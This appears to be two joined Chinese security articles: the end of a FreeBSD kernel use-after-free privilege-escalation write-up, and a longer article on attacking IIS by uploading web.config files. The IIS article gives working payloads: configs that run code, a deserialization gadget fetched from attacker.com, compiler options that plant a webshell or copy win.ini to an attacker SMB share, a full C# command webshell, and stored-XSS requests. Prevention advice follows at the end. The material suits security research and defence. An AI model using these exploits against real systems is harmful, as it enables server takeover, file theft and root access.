最值得注意的是第2571行的`msleep()`函数。函数手册中提到，sleep()函数会使线程在没有超时的情况下进入休眠状态。通过查看唤醒的通道`bdirtywait`可以发现,线程将被`vfs_bio.c`中`buf_daemon()`调用的`bdirtywakeup()`函数唤醒。
调用`msleep()`的条件和`buf_daemon()`的目的是关联的：如果内核持有太多脏缓冲区（即等待写入的缓冲区），则`buf_dirty_count_severe()`返回1并且唤醒`buf_daemon()`函数执行刷新操作以减少计数的值。之后，调用`bdirtywakeup()`来唤醒在第2571行等待的所有写操作。
有两个内核变量用作监视是否有`lodirtybuffers`和`hidirtybuffers`这两个脏缓冲区的标志。这些变量是在程序启动时设置的，取决于RAM（调用sysctl
vfs.hidirtybuffers和sysctl
vfs.lodirtybuffers以显示特定系统的值）。如果脏缓冲区的数量大于`hidirtybuffers`，则设置`bdhidirty`位（第2585行）同时`buf_dirty_count_severe`返回1，从而调用`msleep()`。
因此，需要一种快速增加脏缓冲区数量的技术。经过尝试后，很快就找到了一种简单的方法：用exploit打开大量的引用同一个文件的文件流。但是，在使用fopen()打开文件流后，在下次调用fopen()之前，应当先取消相应文件的链接。如果exploit尝试并行写入这些文件流，脏缓冲区的数量就会增加。
可以在`test_dirty.c`中找到此技术的演示。
目前的exploit的工作原理如下：一旦脏缓冲区的数量足够，另一个线程就会获得一个信号，尝试写入先前打开的随机的可写文件。同时，向另一个线程发送触发UaF的信号并打开只读文件。通过关闭用于准备UaF场景的文件描述符和重复的场景（请记住此时`f_count`等于2）来触发UaF。现在打开只读文件将导致struct文件对象的转换。
为了提高exploit赢得条件竞争的概率，尽可能让UaF触发线程和写入线程在不同的核上运行，并且让UaF延迟几微秒触发。如前文所述，如果写入线程的操作没有完成，那么exploit可能会导致内核崩溃，因为free之后的use发生得太快，`_fdrop()`会触发崩溃。
可以在`arbitary_file_write`中找到任意写入的概念验证。应该注意，`hammer`线程是同步的。否则继续创建线程并触发漏洞会导致攻击不可靠。此外，同步写入会更快地触发`msleep()`条件。
完成最终的exploit还有两个挑战：获取root权限并防止内核崩溃。
后者可以通过使用导致参考计数器溢出的语句来实现。崩溃的原因是程序试图关闭它认为打开的所有文件描述符。然而，UaF使参考计数器很小，导致前面提到的`_fdrop()`中的判断失败了。
因为在写操作时被利用的struct文件的`f_count`被UaF和后面的open()置为1，所以在最后调用`fdrop()`时`write()`将再次释放文件对象。因此，需要第三次调用`open()`来获取损坏的struct文件的文件描述符。之后，引用计数器增加语句可增加f_count的值，防止内核崩溃。
kingcope于2005年发布了[FreeBSD root exploit](https://www.exploit-db.com/exploits/1230)，使权限提升变得很容易，该文件将导致写入`/etc/libmap.conf`文件。如果程序启动，此配置文件可用于挂钩加载的动态库。因此，该exploit创建了一个动态库，它将`/bin/sh`复制到另一个文件并为该副本设置suid位。钩子库是`libutil`，可以由su调用。因此，用户对su的调用将导致`/bin/sh`副本的执行，实现sudi（对于其他测试系统，可能需要调分支、线程和文件的值。此exploit中提供的数字适用于具有2GB内存和双核的VM系统）。
最终的exploit可以在`heavy_cyber_weapon.sh`中找到。
## 0x06 结论及下步打算
本文介绍了在FreeBSD中利用的一个简单但易被忽视的漏洞。
虽然UaF触发器的开发非常简单，但研究利用漏洞的方法需要付出很多的努力。写这篇文章的主要原因是研究内核代码的合理工程（the reasonable good
engineering of the kernel code ）以及FreeBSD漏洞write-up的稀缺。作者希望这篇文章对以后的研究工作做出贡献，或者在他们自己的研究中确实有所帮助。
据本文作者所知，本文首次描述了此漏洞的工作原理，并首次描述了所需的技术。
在可以在Files区域触发UaF的类似情况下，开发技术应该派上用场。应该留存没有做大更改的内核代码。
此外，在其他安装程序甚至CPU架构使用此exploit时，逻辑漏洞的优势就突显出来了。该漏洞已在ARM处理器上成功测试。
最后，应该提一下下步打算：
>
> 1.目前，漏洞利用技术仅适用于UFS。虽然这是过去的标准文件系统，现在ZFS被FreeBSD安装程序广泛运用。但是由于脏缓冲机制不同（如果它存在的话），该技术并不适用于ZFS。因此，不会触发msleep()，这会导致竞争条件不可靠。必须找到另一种延迟机制。
> 2.通过执行大量的并行写入来创建脏缓冲区从而使竞争条件可靠的代码不够优化。也许有另一种方法来创建写延迟，但这是目前为止最快的方法。
>
> 3.可能有完全不同的方式来利用此漏洞。例如，可以考虑欺骗suid程序从不想读取的文件中读取（例如，从用户提供的文件而不是/etc/pam.d/su中读取su）。
## 0x00 附录：环境设置
为了测试和调试漏洞和bug，选择了[VirtualBox](https://www.virtualbox.org/)。此外，可以应用一些内核补丁来加速uAf条件的准备。
### 1.VirtualBox设置
目前已经有可以为FreeBSD内核调试创建测试环境的指导书，例如[argp](https://argp.github.io/2009/07/02/freebsd-kernel-debugging/)。
这是指南的最新更新，以及设置的说明。
> 1.从这里获取FreeBSD-12-RELEASE disc1
> 2.将所有内容安装到新的VirtualBox VM中
>
>> 使用UFS
> 暂时不要施加任何硬化
> 安装源（/usr/src)、SSH和调试功能
>
> 3.安装后重新启动，不要忘记“弹出”光盘映像
> 4.配置SSH、用户等
> 5.使用pkg安装gdb：`pkg install gdb`
> 6.按以下方式编译自定义内核
>
>> `cd /usr/src/sys/amd64/conf`
> 创建一个名为DEBUG的新文件，并添加以下内容
>>
>>
>> include GENERIC
>> ident DEBUG
>> makeoptions DEBUG=-g
>> options DDB
>> options GDB
>> options KDB
>> - Create /etc/make.conf with CFLAGS=-pipe -O0for the content
>> - Change all-O2to-O0in /usr/src/sys/conf/kern.pre.mk
>> - Execute cd /usr/src
>> - Execute make buildkernel
>> -j8 KERNCONF=DEBUG
>> - Execute make installkernel
>> KERNCONF=DEBUG
>> - Execute reboot`
>>
>
> 7.执行`sysctl debug.kdb.enter = 1`以检查是否可以进入调试模式
>
>> 注意，调试器在VM窗口中启动，而不是在SSH会话中启动
>
> 8.克隆机器，使用专家模式创建链接克隆，然后保留其余部分
> 9.克隆机器是目标，而原始机器是调试器主机
> 10.对于目标，在VM设置中激活串口COM1作为主机管道
>
>> 请勿选中与管道连接的框
> 路径可以是`/tmp/fbsdpipe`
>
> 11.对调试器执行相同操作
>
>> 选中与管道连接的框，使用与目标相同的路径
>
> 12首先启动目标主机
> 13.如果需要，更改主机名
> 14.在`/boot/device.hints`中将`hint.uart.0.flags`更改为0x90
> 15.重新启动目标
> 16.启动调试器
> 17.切换到目标中的调试模式并在调试器会话中执行gdb
> 18.在调试器中执行：
>
>
> cd /usr/obj/usr/src/amd64.amd64/sys/DEBUG
> kgdb -b 38400 kernel.debug
> kgdb> target remote / dev / cuau0
>
>
> 19.应该看到kgdb中目标的调试器会话
### 2.内核补丁
为了简化漏洞利用测试并避免每次运行等待很长时间，`m_dispose_extcontrolm()`中的补丁是一种可能的解决方案。需要在函数末尾添加以下内容：
1618 }
1619 if (fp->f_count == 1234) fp->f_count = 0xfffffff2;
1620 }
这种方法还需要替换所有代码文件中的for循环，使用以下代码准备UaF（基于减少i的上限并且一次只发送一个文件描述符）：
for (i = 0; i < 1232; i++)
send_recv(fd, sv, 0x1);
在研究期间，使用另一个内核补丁，在调用`bwillwrite()`之后提供了很长的延迟。在`sys/kern/sys_generic.c`中调用函数后添加以下判断条件：
if (fp->f_type == DTYPE_VNODE &&
565 (fp->f_vnread_flags & FDEVFS_VNODE) == 0) {
566 bwillwrite();
567 if (fd == 16000)
568 pause("", 100);
569 }
需要在所有代码文件中改变对open（）的调用为一下内容，以便打开临时文件：
do {
if ((fd = open_tmp()) == -1) {
perror("open_tmp");
exit(1);
}
} while(fd != 16000);
`test_rd_only_write.c`还需要使用最后一个内核补丁。`sys/kern/sys_generic`中,在函数`kern_writev()`调用`fget_write()`之后，需要以下补丁：
491 if (fd == 22)
492 __asm__("int3");
这产生了一个断点，允许更换struct文件对象，如概念验证所述。 | 社区文章 |
### 介绍
这是我上传`web.config`系列文章中的第二篇，我在2014年完成了第一篇该系列的相关文章，在那篇文章中我描述了一种运行`ASP`的经典代码方法，即通过上传`web.config`文件来执行存储型XSS攻击。
在这篇文章中，我们专注于运行`web.config`文件本身，我在上一篇文章中介绍过如何在IIS上的应用程序中上传web.config技术。而本文中我的主要是使用`web.config`文件在服务器上执行代码或命令，并使用了技巧来利用存储型XSS。
此处描述的技术分为两大类，其具体取决于是否可以在应用程序根目录或子文件夹、虚拟目录中上载`web.config`文件。
如果不熟悉IIS中的虚拟目录和应用程序术语，请[参阅](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis)。
### 1.使用根目录或应用程序目录中的web.config执行命令
此方法非常具有破坏性，因为应用程序已经使用了将替换为我们的`web.config`文件。然而该文件没有所有必需的设置，例如数据库连接字符串或一些有效的程序集的引用。
当应用程序可能使用了将要替换的`web.config`文件时，建议不要在实时网站上使用此技术。
位于其他应用程序或虚拟目录中的IIS应用程序可能不使用`web.config`文件，通常比网站的根目录更安全。
下面的图中显示了`testwebconfig`应用程序中的内部应用程序anotherapp的示例，该应用程序也位于默认网站内。
如果可以修改应用程序根目录中的`web.config`文件，则可以使用许多方法在服务器上执行命令。
我在这篇博文中列出了四个例子，如下所示。
#### 1.1 将web.config作为ASPX页面执行
这与第一篇文中提到的技术非常相似，但是当我们在应用程序的根目录中上传`web.config`文件时，我们有更多的控制权，我们可以使用托管处理程序将`web.config`文件作为`ASPX`页面运行。
以下`web.config`文件显示了一个示例：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
<add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
<validation validateIntegratedModeConfiguration="false" />
</system.webServer>
<system.web>
<compilation defaultLanguage="vb">
<buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
</compilation>
<httpHandlers>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
</httpHandlers>
</system.web>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
之后我们可以浏览`web.config`文件以将其作为`ASP.NET`页面运行。 然而`XML`内容也可以从网上访问。
也许更容易上传另一个带有允许扩展名的文件，例如`.config`、`.jpg`或`.txt`文件，并将其作为`.aspx`页面运行。
#### 1.2 使用AspNetCoreModule运行命令
我们也可以使用ASP.NET核心模块运行命令，如下所示：
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.webServer>
<handlers>
<remove name="aspNetCore" />
<add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
</handlers>
<aspNetCore processPath="cmd.exe" arguments="/c calc"/>
</system.webServer>
</configuration>
所述命令将通过浏览不需要存在于服务器上的`backdoor.me`页面来执行，这里可以使用`PowerShell`命令作为反向`shell`。
#### 1.3 使用系统秘钥
<https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/中所述，可以在`web.config`文件中设置`machineKey`元素，以滥用反序列化功能在服务器上运行代码和命令。>
#### 1.4 使用JSON_AppService.axd
这是在`.NET Framework`中使用已知的反序列化问题在服务器上运行代码的一种方式。
在这种情况下，`web.config`文件如下所示：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web.extensions>
<scripting>
<webServices>
<authenticationService enabled="true" requireSSL="false" />
</webServices>
</scripting>
</system.web.extensions>
<appSettings>
<add key="aspnet:UseLegacyClientServicesJsonHandling" value="true" />
</appSettings>
<system.web>
<membership defaultProvider="ClientAuthenticationMembershipProvider">
<providers>
<add name="ClientAuthenticationMembershipProvider" type="System.Web.ClientServices.Providers.ClientFormsAuthenticationMembershipProvider, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" serviceUri="http://attacker.com/payload?" />
</providers>
</membership>
</system.web>
</configuration>
以下JSON显示攻击者网站`（http://attacker.com/payload）`上应该接受POST请求的payload页面：
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd',
'Arguments':'/c calc'
}
}
}
上传`web.config`文件并在远程服务器上设置payload页面后，攻击者可以发送以下HTTP请求以在服务器上运行其代码和命令：
POST /testwebconfig/Authentication_JSON_AppService.axd/login HTTP/1.1
Host: victim.com
Content-Length: 72
Content-Type: application/json;charset=UTF-8
{"userName":"foo","password":"bar","createPersistentCookie":false}
应该注意的是，`Profile_JSON_AppService.axd`或`Role_JSON_AppService.axd`也可能在这里派上用场，但是需要在`web.config`中启用它们，并且需要调用合适的方法来触发反序列化。
### 2.使用子文件夹或虚拟目录中的web.config执行命令
虚拟目录中的`web.config`文件比应用程序文件夹根目录中的`web.config`更受限制。
可以滥用以执行`AspNetCoreModule，machineKey，buildProviders和httpHandler`等命令不能在子文件夹中的web.config中使用。
在我之前在2014年发表的相关博客文章中，我发现了一种方法，当允许在虚拟目录中使用`ISAPI`模块时，将`web.config`文件作为`ASP`文件运行。如下所示：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
其他模块（例如用于PHP的模块）也可以在允许时进行类似地使用。 但是，在正确配置IIS应用程序时，我们通常无法运行除`.NET`代码之外的任何内容。
因此，我将引入更多技术。
#### 2.1 错误使用compilerOptions属性
我将使用以下web.config文件作为基本模板：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime targetFramework="4.67.1"/>
<compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
<assemblies>
</assemblies>
<expressionBuilders>
</expressionBuilders>
<compilers>
<compiler language="c#"
extension=".cs;.config"
type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
warningLevel="4"
compilerOptions=''/>
</compilers>
</compilation>
</system.web>
<system.webServer>
<handlers>
<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
</handlers>
<security>
<requestFiltering>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
可以将`compiler`元素的`type`属性设置为以下默认类型之一：
* C#:*
Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
这使用`csc.exe`命令进行编译。
VB.NET：
Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
使用vbc.exe命令进行编译。
Jscript.NET:
Microsoft.JScript.JScriptCodeProvider, Microsoft.JScript, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
这使用`jsc.exe`命令进行编译。
这些命令通常可以在`.NET`文件夹中找到。 对于`.NET v4`，该文件夹将是：
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
上面`web.config`模板文件中的`compilerOptions`属性的值将作为参数添加到编译器命令中。这里密文可以使用空格字符提供多个参数。
如果没有为编译器命令提供选项，则`compilerOptions`属性的值将被视为要编译的编译器的文件名。
`＃`字符为终止命令，`@`字符加载另一个文件，如[本文](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically)中所述。
如果我们可以在编译`C＃，VB.NET或Jscript.NET`文件时找到执行命令的方法，那么可以通过编译可能来自远程共享驱动器或以前上传的静态文件的附加文件来轻松利用它。但是在对此进行研究时，我们找不到任何东西。
应该注意的是，如果`ASP.NET`页面存在于上传`web.config`文件的同一文件夹中，则在我们更改编译过程时，它们将使用我在此提供的示例进行工作。因此，如果只有一次上传`web.config`文件并且无法再次重写时，我们应该注意该文件的内容，确保`web.config`有效。
##### 2.1.1 创建Web shell
以下字符串显示了`compilerOptions`属性，该属性可用于在`Web`目录中创建包含一些二进制数据的`Web shell`：
/resource:"\\KaliBoxIP\Public\webshell.txt" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #
使用上述设置浏览`web.config`文件后，将在请求的路径中创建具有`webshell.aspx`名称的二进制文件。
在此处了解服务器上的应用程序路径非常重要。 当显示`ASP.NET`失败的错误消息时，可以简单地通过错误来显示应用程序的路径。
建议在另一个文件而不是`web.config`文件本身中创建一个错误，但是如果以后可以修改它，这里只是一个`web.config`文件，它只显示一个错误：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
IDontExist!
</system.web>
</configuration>
除了可以在创建`Web
shell`之后更改`web.config`文件以删除`compilerOptions`属性以允许正常的编译过程之外，还应该在我们的`web.config`文件上传之外创建`Web
shell`。
应该注意的是，`webshell.txt`中的代码将嵌入到包含二进制数据的`webshell.aspx`的中间。
由于这不是`webshell`的副本，因此可以用作获取访问权限的第一阶段。
**无法访问SMB的解决方案**
如果目标无法通过`SMB`进行通信，则可以使用允许的扩展名上载`Web shell`，以将其包含在`/resource`选项中：
/resource:"C:\appdata\wwwroot\myapp\attachment\myshell.config" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #
##### 2.1.2 接管现有的ASPX文件
当`ASPX`文件存在于所上传`web.config`文件的同一文件夹中时，可以修改编译过程进行接管操作。
了解应用程序和虚拟目录对于使用此技术非常重要。 我将使用以下示例解释这一点：
`web.config`文件可以在`C:\appdata\wwwroot\myapp\attachment\`上传，`file.aspx`也存在于同一路径中，可通过以下URL访问：
https://victim.com/myapp/attachment/file.aspx
现在可以使用以下编译器选项来接管此文件：
\\KaliBoxIP\Public\webshellcs.txt #
或者：
"C:\appdata\wwwroot\myapp\attachment\webshellcs.txt" #
`webshellcs.txt`文件的内容是：
namespace ASP
{
using System;
[System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
public class attachment_file_aspx : global::System.Web.UI.Page, System.Web.IHttpHandler
{
private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer)
{
if (!String.IsNullOrEmpty(Request["cmd"]))
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = Request["cmd"];
process.StartInfo.Arguments = Request["arg"];
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
//* Read the output (or the error)
string output = process.StandardOutput.ReadToEnd();
@__w.Write("Result:<br><pre>");
@__w.Write(output);
}
else
{
@__w.Write("Use:\"?cmd=cmd.exe&arg=/c dir\" as an example!");
}
}
[System.Diagnostics.DebuggerNonUserCodeAttribute()]
protected override void FrameworkInitialize()
{
this.SetRenderMethodDelegate(new System.Web.UI.RenderMethod(this.@__Render__control1));
}
}
}
##### 2.1.3 窃取内部文件
以下字符串显示compilerOptions属性：
/resource:c:\windows\win.ini /out:\\KaliBoxIP\Public\test.bin
在上载文件夹中打开现有ASP.NET页面后，将在包含`win.ini`文件的共享文件夹中创建`test.pdb和test.bin`文件。
这对于获取应用程序的`web.config`文件尤其有用，因为它可能包含敏感数据，例如可以使用远程代码执行的机器密钥。
##### 2.1.4 窃取应用的更多数据
以下字符串显示compilerOptions属性：
/resource:\\KaliBoxIP\Public\test.txt -bugreport:\\KaliBoxIP\Public\foobar1.txt /errorreport:none
在该文件夹中打开现有`ASP.NET`页面后，这将在共享路径上创建一个大文件，该文件可能包含有关应用程序或其基础技术的敏感数据。
显然，当路径已知并且可以远程下载文件时，也可以在同一Web服务器上创建此文件。
#### 2.2 接管上传的.NET文件
以下web.config可用于接管现有的Web服务文件：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<webServices>
<protocols>
<add name="Documentation"/>
</protocols>
<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
</webServices>
</system.web>
</configuration>
这将从SMB共享加载webshell.aspx文件，并在打开该文件夹中的ASMX文件时执行它。
也可以重新映射.master和.ascx扩展，并像ASMX文件一样使用它们。
上传这些文件的可能性高于其他ASP.NET扩展，例如`.aspx，.asmx，.ashx，.svc和.soap`，它们也可以使用相同的技术接管。
以下web.config文件显示了可以接管多个文件扩展名的示例：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<webServices>
<protocols>
<add name="Documentation"/>
</protocols>
<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
</webServices>
</system.web>
<system.webServer>
<handlers>
<add name="remap_asmx1" path="*.ascx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
<add name="remap_asmx2" path="*.master" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
<add name="remap_asmx3" path="*.aspx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
<add name="remap_asmx4" path="*.ashx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
<add name="remap_asmx5" path="*.svc" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
<add name="remap_asmx6" path="*.soap" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".ascx" />
<remove fileExtension=".master" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
当`SMB`被阻止时，可能很难使用此技术，因为`wsdlHelpGenerator`元素的href属性中的文件扩展名很重要。
#### 2.3 存储XSS
也可以创建存储型XSS。 当其他方法因任何原因不起作用时，这可能很有用。
在上文中讨论了通过上传`web.config`文件使应用受XSS攻击的一些方法。 例如，当允许下载某些文件时，可以通过操作mimetypes进行XSS攻击。
以下示例显示.txt文件如何作为`.html`文件运行：
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.webServer>
<staticContent>
<remove fileExtension=".txt" />
<mimeMap fileExtension=".txt" mimeType="text/html" />
</staticContent>
</system.webServer>
</configuration>
在这篇博客文章中，还发现了两个新ASP.NET处理程序。
##### 2.3.1 使用State Application处理程序
StateApplication处理程序是System.Web.SessionState命名空间内的一个内部类，用于缓存并且不应该直接从用户代码调用。
使用任意文本替换任何现有文件的响应可能会被滥用。
以下web.config文件显示了一个示例，使用该示例使用XSS有效内容替换web.config的响应：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="web_config" path="*.config" verb="*" type="System.Web.SessionState.StateApplication,System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" />
</handlers>
<security>
<requestFiltering>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
要在缓存中创建存储的`XSS 525600`分钟（最大数量），应在上传`web.config`文件后发送以下请求：
PUT /testwebconfig/userfiles/web.config HTTP/1.1
Host: victim.com
Http_Timeout: 525600
Content-Length: 25
<script>alert(1)</script>
提取内容：
http://victim.com/testwebconfig/userfiles/web.config
删除内容：
DELETE /testwebconfig/userfiles/web.config HTTP/1.1
Host: victim.com
为了使用相同的名称创建多个XSSd payload，可以将其他参数添加到URL。 例如：
Web.config/payload1
Or
Web.config\payload1
And
Web.config?payload2
##### 2.3.2 使用Discovery Request Handler处理程序
`System.Web.Services.Discovery`命名空间中的`DiscoveryRequestHandler`类可用于提供XML文件（实际使用中的.disco文件）。
这可能会被利用来从XML响应中执行JavaScript代码。
如果可以上传`web.config`文件，那么我们也可以上传包含带`JavaScript`代码的XML的`test.config`文件。
以下`web.config`显示了一个示例，`test.config`文件将用作XML文件：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="web_config" path="test.config" verb="*" type="System.Web.Services.Discovery.DiscoveryRequestHandler,System.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" />
</handlers>
<security>
<requestFiltering>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
`test.config`文件如下；
<?xml version="1.0" ?>
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
我们应该注意`DynamicDiscoveryDocument`类型的XML文件不能用于XSS，因为它将用于搜索当前目录以发现现有Web服务。
<dynamicDiscovery xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17">
<exclude path="foobar"></exclude>
</dynamicDiscovery>
### 3 预防技术
第一道防线是使用白名单方法验证文件名，扩展名和内容。 这可以通过仅允许文件扩展名并检查文件内容以确保它们使用有效格式来完成。
另一个建议是将文件保存在Web目录之外或数据库中。 如今更安全的方式是将上传的文件存储在云中，例如在`Amazon
S3`中。我们必须确保访问控制检查是合适且有效的，并且实现不会导致其他安全问题，例如不安全的对象引用或路径操作。
使用适当的HTTP标头还可以防止跨站点内容劫持攻击。
以下建议也可以通过上传web.config文件来加剧攻击：
* 使用预编译的应用程序会使脚本小子攻击您的应用程序变得更加困难
* 确保Web应用程序中的现有文件没有写入权限，包括web.config文件，尤其是在上传目录之外
* 监控网站上任何动态文件的创建，以检测潜在的攻击
如果我们无权访问代码，无法更改文件权限或无法更改应用程序的工作方式，那么仍可以在应用程序路径或网站根目录中使用web.config文件来缓解可能发生的某些攻击，并通过上传web.config文件：
如果可能，请确保禁用虚拟目录中的web.config文件。
这可以通过更改`applicationHost.config`文件中的allowSubDirConfig属性来完成，该文件通常位于`C:\Windows\System32\inetsrv\Config\`
不应该被子目录中的其他`web.config`文件更改的敏感web.config元素也应该受到保护。
这可以使用web.config文件中的`allowOverride`属性或锁定功能来完成。
以下`web.config`文件显示了一个示例，可以在父目录中使用该示例来锁定在此研究中的某些威胁部分：
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.webServer>
<handlers lockItem="true" />
<staticContent lockItem="true" />
<security>
<requestFiltering lockItem="true" />
</security>
</system.webServer>
<system.web>
<httpRuntime lockItem="true" />
<compilation lockItem="true" />
<webServices lockItem="true" />
</system.web>
<system.serviceModel>
<behaviors lockItem="true" />
<services lockItem="true" />
</system.serviceModel>
</configuration>
### 4 后台工作
本节基本涵盖了我在研究过程中所做的工作，虽然这可能是这篇文章中最无聊的部分，但我认为对于想要继续这项研究的人来说这可能是有用的。
当`web.config`可以位于`IIS`应用程序的根目录中时，查找如何运行代码和命令是最简单的部分，因为我可以使用记录的`web.config`功能和我之前的研究。
但是，在子文件夹中上传`web.config`文件时探索新方法需要更多的探索工作。
#### 4.1 需求与资源
除了时间之外，我研究的主要资源是`ASP.NET Framework`源代码，`Visual Studio，Sysinternals Process
Monitor，dnSpy，Telerik JustDecompile，IIS Web`服务器，Kali Linux以及Google搜索。
我使用`Kali Linux`主要是为了拥有一个简单的未经身份验证的SMB共享，我可以进行读/写操作。 最终为我提供SMB
v3支持的`/etc/samba/smb.conf`文件是：
[global]
#workgroup = WORKGROUP
#server string = Samba Server XYZ
#netbios name = someRandomUbuntu
#security = user
map to guest = Bad User
#dns proxy = no
log file = /var/log/samba/%m
log level = 1
server min protocol = SMB3
client min protocol = SMB3
client max protocol = SMB3
[Public]
path = /tmp/smbshare/
writable = yes
guest ok = yes
read only = no
browsable = yes
create mode = 0777
directory mode = 0777
# force user = nobody
#### 4.2 编译器选项
